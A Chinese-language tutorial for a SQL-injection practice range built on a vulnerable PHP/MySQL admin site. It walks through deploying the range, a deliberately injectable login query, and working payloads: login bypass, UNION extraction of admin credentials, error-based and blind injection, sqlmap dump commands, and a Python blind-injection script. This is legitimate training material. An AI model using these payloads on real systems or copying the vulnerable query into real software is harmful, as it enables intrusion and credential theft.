简介这是一份面向Web安全初学者与渗透测试练习者的MySQL后台注入靶场源码基于存在漏洞的网站程序搭建可用于本地或空间环境下的注入测试与安全实验。资源包共844个文件以291个php脚本为核心业务逻辑辅以106个html页面、67个js脚本、16个css样式及大量gif、png、jpg等图片素材另含sql数据库文件与htaccess配置整体约4.95MB结构完整便于部署。安装时上传至空间根目录并访问install目录按提示配置数据库即可无需会员功能可删除member目录安装后建议重命名admin后台目录并及时删除install目录以降低风险。目前已有826人学习下载适合想通过真实漏洞环境理解后台注入原理、练习手工注入与工具验证的读者可借此熟悉漏洞站点目录结构、后台入口定位与数据库交互流程为CTF或安全课程实验提供可复用的靶场环境。1. 后台注入靶场源码一份能跑起来的 MySQL 注入练习环境很多做 Web 安全入门的朋友卡在同一个地方知道 SQL 注入原理也背过 or 11 --但真拿到一个后台登录框却不知道从哪下手更不敢在真实站点上试。这份「mysql后台注入靶场源码.rar」解决的正是这个断层——它把一套带后台登录、带数据库交互的 PHP 站点打包成可本地部署的源码让你在自己机器上把注入链路完整走一遍。适合谁刚学完 SQL 语法、想动手验证注入点的安全新手也适合做代码审计的同学拿它当靶子练手。它不替代真实渗透环境但能让你在零风险的前提下把「找注入点 → 判断类型 → 构造 payload → 拿数据」这条线跑通。下面我按部署、结构、注入实操、避坑、进阶的顺序拆开讲。2. 部署前先搞懂靶场源码的运行依赖与 MySQL 环境搭建这套源码本质是一个 PHP MySQL 的 Web 应用后台登录逻辑靠数据库查询实现注入点就藏在查询语句拼接的地方。要让它跑起来你得先有一个能解析 PHP 的 Web 服务和一个 MySQL 实例。很多人一上来就急着解压看代码结果卡在error 2002 (hy000): cant connect to local mysql server through socket /tmp/mysql.sock这种连接错误上连页面都打不开。所以这一章先把环境讲透再谈注入。2.1 运行栈选型为什么推荐 PHPStudy 或 Docker 二选一靶场源码是 PHP 写的数据库是 MySQL所以运行栈必须包含 Apache/Nginx PHP MySQL 三件套。常见做法有两种一是用集成环境 PHPStudyWindows 下最省事二是用 Docker 起容器跨平台、干净。如果你只是临时练手PHPStudy 一键启动最省心如果你想顺便练 Linux 下的部署Docker 更接近真实服务器。选 PHPStudy 的理由它自带 MySQL 和 Apache版本切换方便新手不用单独配 PHP 扩展。选 Docker 的理由环境隔离删容器不留垃圾而且能模拟docker安装mysql这种常见运维场景。注意源码里的 PHP 版本别用太新的PHP 7.4 左右兼容性最好PHP 8 以上部分老函数会报错。下面给一个 Docker 方式的部署命令适合 Linux 或装了 Docker Desktop 的机器# 拉取 MySQL 5.7 镜像靶场源码对 5.7 兼容性最好 docker run -d --name mysql-target \ -e MYSQL_ROOT_PASSWORDroot123 \ -p 3306:3306 \ mysql:5.7 # 拉取 PHPApache 镜像挂载源码目录 docker run -d --name php-target \ -p 8080:80 \ -v /your/path/target:/var/www/html \ php:7.4-apache逻辑说明第一条命令启动 MySQL 容器MYSQL_ROOT_PASSWORD设成root123端口映射到宿主机 3306这样 PHP 容器才能连上。第二条命令启动 PHP 容器把解压后的靶场源码目录挂载到容器内的 Web 根目录端口映射到 8080。参数-v是挂载冒号前是你本机源码路径冒号后是容器内路径别写反。启动后访问http://localhost:8080如果看到登录页说明 Web 服务通了。如果报数据库连接失败检查 PHP 配置文件里的数据库地址是不是127.0.0.1——在 Docker 里两个容器互相隔离PHP 容器连127.0.0.1是连不到 MySQL 容器的得改成 MySQL 容器的名字或宿主机 IP。这是新手最容易翻车的地方。2.2 导入数据库建库、导表、改配置三步走源码压缩包里一般会带一个.sql文件里面是建表和初始数据。你需要先建一个库再把 sql 导进去。常见做法是用命令行或者 Navicat。命令行更通用navicat连接mysql虽然直观但多一步图形界面操作。# 进入 MySQL 容器 docker exec -it mysql-target bash # 登录 MySQL mysql -uroot -proot123 # 建库字符集用 utf8mb4 CREATE DATABASE target_db DEFAULT CHARSET utf8mb4; # 退出后用 source 导入 sql 文件假设文件已挂载进容器 mysql -uroot -proot123 target_db /path/to/target.sql逻辑说明CREATE DATABASE建库时指定utf8mb4避免中文乱码。导入时用mysql -u -p 库名 文件的方式比进交互界面再source更稳。参数上库名要和源码配置文件里写的一致不一致就改配置文件。导入完成后打开源码里的数据库配置文件通常是config.php或conn.php把数据库地址、用户名、密码、库名改成你实际的环境。这一步不做页面会直接报call stack in connection.php line 528 at pdo-__construct(mysql:host127.0.这类错误。改完保存刷新页面能正常登录就说明环境齐了。提示导入 sql 前先看一眼文件编码如果是 GBK 而库是 utf8mb4中文会变问号。用file target.sql看编码必要时用iconv转一下。3. 源码结构拆解后台登录逻辑与注入点定位环境跑通只是第一步真正要练的是找到注入点。这一章带你读源码搞清楚后台登录是怎么查库的注入点为什么存在以及怎么用最朴素的方法判断注入类型。别急着上 sqlmap先手工走一遍理解每一步在干什么。3.1 后台登录的 SQL 拼接注入点是怎么产生的打开源码里处理登录的 PHP 文件通常叫login.php或check.php。你会看到类似这样的代码?php // 接收前端提交的用户名和密码 $username $_POST[username]; $password $_POST[password]; // 直接拼接进 SQL 语句没有过滤 $sql SELECT * FROM admin WHERE username $username AND password $password; // 执行查询 $result mysqli_query($conn, $sql); if (mysqli_num_rows($result) 0) { echo 登录成功; } else { echo 用户名或密码错误; } ?逻辑说明这段代码把用户输入的$username和$password直接拼进 SQL 字符串没有做任何转义或参数化。参数$username如果输入admin --拼接后的语句就变成SELECT * FROM admin WHERE username admin -- AND password ...--把后面的密码判断注释掉了于是不需要密码就能登录。这就是最典型的字符型注入。判断注入类型时先试单引号。输入admin如果页面报 SQL 语法错误说明存在注入且是字符型如果没报错但登录失败可能是被过滤了或者不是字符型。再试admin --能登录就坐实了。数字型注入不用引号直接1 or 11但后台登录一般是字符型因为用户名是字符串。3.2 手工注入拿数据从判断字段数到爆出账号密码确认注入点后下一步是拿数据。手工注入的流程是判断字段数 → 确定回显位 → 查库名 → 查表名 → 查字段 → 拿数据。每一步都有对应的 payload别跳步。-- 1. 判断字段数用 order by 递增直到报错 admin order by 3 -- admin order by 4 -- -- 2. 确定回显位用 union select admin union select 1,2,3 -- -- 3. 查当前库名和版本 admin union select 1,database(),version() -- -- 4. 查表名MySQL 5.0 以上有 information_schema admin union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase() -- -- 5. 查字段名 admin union select 1,group_concat(column_name),3 from information_schema.columns where table_nameadmin -- -- 6. 爆账号密码 admin union select 1,group_concat(username,0x3a,password),3 from admin --逻辑说明order by用来判断字段数报错说明超出范围。union select要求前后字段数一致所以先确定字段数。database()返回当前库名version()返回版本。information_schema.tables是 MySQL 自带的元数据表group_concat把多行结果拼成一行方便回显。0x3a是冒号的十六进制用来分隔用户名和密码。参数上table_schemadatabase()限定当前库避免查出其他库的表。table_nameadmin里的表名要换成你实际查到的。如果union select不回显可能是页面只显示登录成功/失败没有回显位那就得用报错注入或盲注。这套靶场源码一般有回显因为登录成功会显示欢迎信息。注意手工注入时 payload 里的空格和注释符要匹配。MySQL 里--后面必须跟一个空格#也可以当注释符。如果 URL 里传参空格要编码成%20或。4. 注入实操进阶报错注入、盲注与 sqlmap 自动化手工注入能拿数据但遇到无回显的情况就抓瞎。这一章补上报错注入和盲注再讲怎么用 sqlmap 提效。别一上来就 sqlmap先手工理解原理工具跑出来的结果你才看得懂。4.1 报错注入没有回显位时怎么把数据带出来报错注入的原理是构造一个会让 MySQL 报错的函数把查询结果拼进错误信息里。常用的函数有updatexml、extractvalue、floor。以updatexml为例-- 查库名 admin and updatexml(1,concat(0x7e,database(),0x7e),1) -- -- 查表名 admin and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()),0x7e),1) --逻辑说明updatexml(1, xpath, 1)第二个参数要求是合法 XPath传入concat(0x7e, database(), 0x7e)会触发报错错误信息里就带出了库名。0x7e是波浪号用来标记数据边界方便从错误信息里截取。参数上concat里可以嵌套子查询但子查询返回多行会报错所以用group_concat拼成一行。报错注入的局限是错误信息长度有限一般 32 位左右数据长了会被截断。这时候用substr分段取或者换盲注。4.2 布尔盲注与时间盲注页面没变化时怎么判断盲注分两种布尔盲注靠页面返回的真假状态判断时间盲注靠sleep延迟判断。布尔盲注的 payload 是admin and substr(database(),1,1)t --如果页面返回登录成功说明第一个字符是t。时间盲注是admin and if(substr(database(),1,1)t,sleep(3),0) --如果页面延迟 3 秒才返回说明条件成立。-- 布尔盲注判断库名第一个字符 admin and ascii(substr(database(),1,1))100 -- -- 时间盲注判断库名第一个字符 admin and if(ascii(substr(database(),1,1))100,sleep(3),0) --逻辑说明ascii把字符转成 ASCII 码方便用大于小于比较。substr(database(),1,1)取库名第一个字符。布尔盲注看页面是否正常返回时间盲注看响应时间。参数上sleep(3)的 3 是秒数别设太大否则跑一轮要很久。盲注手工跑效率极低一个字符要试几十次。这时候用 sqlmap 自动化。常见命令# 对登录接口跑 sqlmap指定 POST 参数 sqlmap -u http://localhost:8080/login.php \ --datausernameadminpassword123 \ --batch --dbs # 指定库后爆表 sqlmap -u http://localhost:8080/login.php \ --datausernameadminpassword123 \ -D target_db --tables # 爆字段和数据 sqlmap -u http://localhost:8080/login.php \ --datausernameadminpassword123 \ -D target_db -T admin --dump逻辑说明-u指定 URL--data指定 POST 数据--batch自动选默认选项--dbs爆库。-D指定库--tables爆表-T指定表--dump导出数据。参数上如果登录接口有验证码或 tokensqlmap 需要额外配置--cookie或--csrf-token这套靶场一般没有直接跑就行。提示sqlmap 跑之前先用-v 3看它构造的 payload理解它怎么判断注入类型。别把它当黑匣子不然换个环境你还是不会。5. 避坑与排查靶场部署和注入练习中的五个血泪经验这一章是我自己踩过的坑每条按「现象 → 原因 → 解决」写。你照着排查能省不少时间。坑一页面报error 2002 (hy000): cant connect to local mysql server through socket /tmp/mysql.sock现象访问靶场页面直接报这个错连登录框都看不到。 原因PHP 连 MySQL 时用了 socket 方式但 socket 文件路径不对或者 MySQL 服务没启动。 解决先确认 MySQL 容器或服务在跑docker ps看容器状态。然后改 PHP 配置里的数据库地址把localhost改成127.0.0.1强制走 TCP 而不是 socket。如果还不行检查 MySQL 的my.cnf里 socket 路径和 PHP 里配的一致。坑二导入 sql 后中文全是问号现象登录页或数据里中文显示成???。 原因sql 文件编码和数据库字符集不一致常见是 sql 是 GBK库是 utf8mb4。 解决建库时用DEFAULT CHARSET utf8mb4导入前用iconv -f GBK -t UTF-8 target.sql target_utf8.sql转码再导入。或者用 Navicat 导入时手动选编码。坑三union select不回显页面只显示登录失败现象手工注入时union select 1,2,3没反应页面还是登录失败。 原因登录逻辑先判断mysqli_num_rows如果 union 查出来的行数不满足条件或者回显位不在页面上。 解决先确认字段数对不对order by试到报错为止。再看页面有没有回显位如果没有改用报错注入或盲注。别死磕 union。坑四sqlmap 跑半天没结果提示「all tested parameters do not appear to be injectable」现象sqlmap 跑完说参数不可注入但手工明明能注入。 原因sqlmap 默认的 payload 可能被 WAF 或代码里的简单过滤拦了或者 POST 数据格式不对。 解决加--level 3 --risk 2提高测试强度或者用--tamper指定绕过脚本。先手工确认注入类型再用--technique指定对应技术比如--techniqueE只跑报错注入。坑五Docker 里 PHP 容器连不上 MySQL 容器现象PHP 页面报数据库连接失败但 MySQL 容器明明在跑。 原因两个容器网络隔离PHP 容器里的127.0.0.1指向自己不是 MySQL 容器。 解决用docker network create建一个自定义网络两个容器都加进去然后用容器名当主机名。或者启动 PHP 容器时加--link mysql-target:mysql配置里数据库地址写mysql。6. 进阶技巧把靶场改造成盲注练习环境与自动化验证脚本练完基础注入你可以把这套源码改一改让它更适合练盲注。具体做法把登录成功后的回显去掉只返回「登录成功」或「登录失败」这样 union 和报错注入都失效只能靠布尔或时间盲注。改法是找到login.php里输出欢迎信息的那行注释掉只保留echo 登录成功。改完后写一个 Python 脚本自动跑布尔盲注比手工快得多。下面是一个模板import requests url http://localhost:8080/login.php # 待猜解的字符集按需扩展 chars abcdefghijklmnopqrstuvwxyz0123456789_ result # 假设库名长度不超过 20 for i in range(1, 21): for c in chars: # 构造布尔盲注 payload判断第 i 个字符的 ASCII 是否等于当前字符 payload fadmin and ascii(substr(database(),{i},1)){ord(c)} -- data {username: payload, password: 123} r requests.post(url, datadata) # 页面包含「登录成功」说明条件成立 if 登录成功 in r.text: result c print(f第 {i} 位: {c}) break else: # 当前位没有匹配字符说明库名结束 break print(库名:, result)逻辑说明脚本遍历每个位置对字符集里每个字符构造 payload发 POST 请求。如果页面返回「登录成功」说明 ASCII 匹配记录字符并跳出内层循环。ord(c)把字符转 ASCIIsubstr(database(),i,1)取第 i 个字符。参数上chars按实际需要加大小写和特殊符号range(1,21)是最大长度跑完自动停。这个脚本跑起来比手工快几十倍而且能直接改成时间盲注——把判断条件从「页面包含登录成功」改成「响应时间大于 2 秒」就行。我一般会先用脚本跑出库名和表名再用 sqlmap 的--dump导数据两者结合效率最高。从那以后我每次拿到新的注入靶场都强制先手工确认注入类型再用脚本自动化最后用 sqlmap 交叉验证。这套流程走下来既不会漏掉注入点也不会被工具的黑匣子结果忽悠。希望帮到你。本文还有配套的精品资源点击获取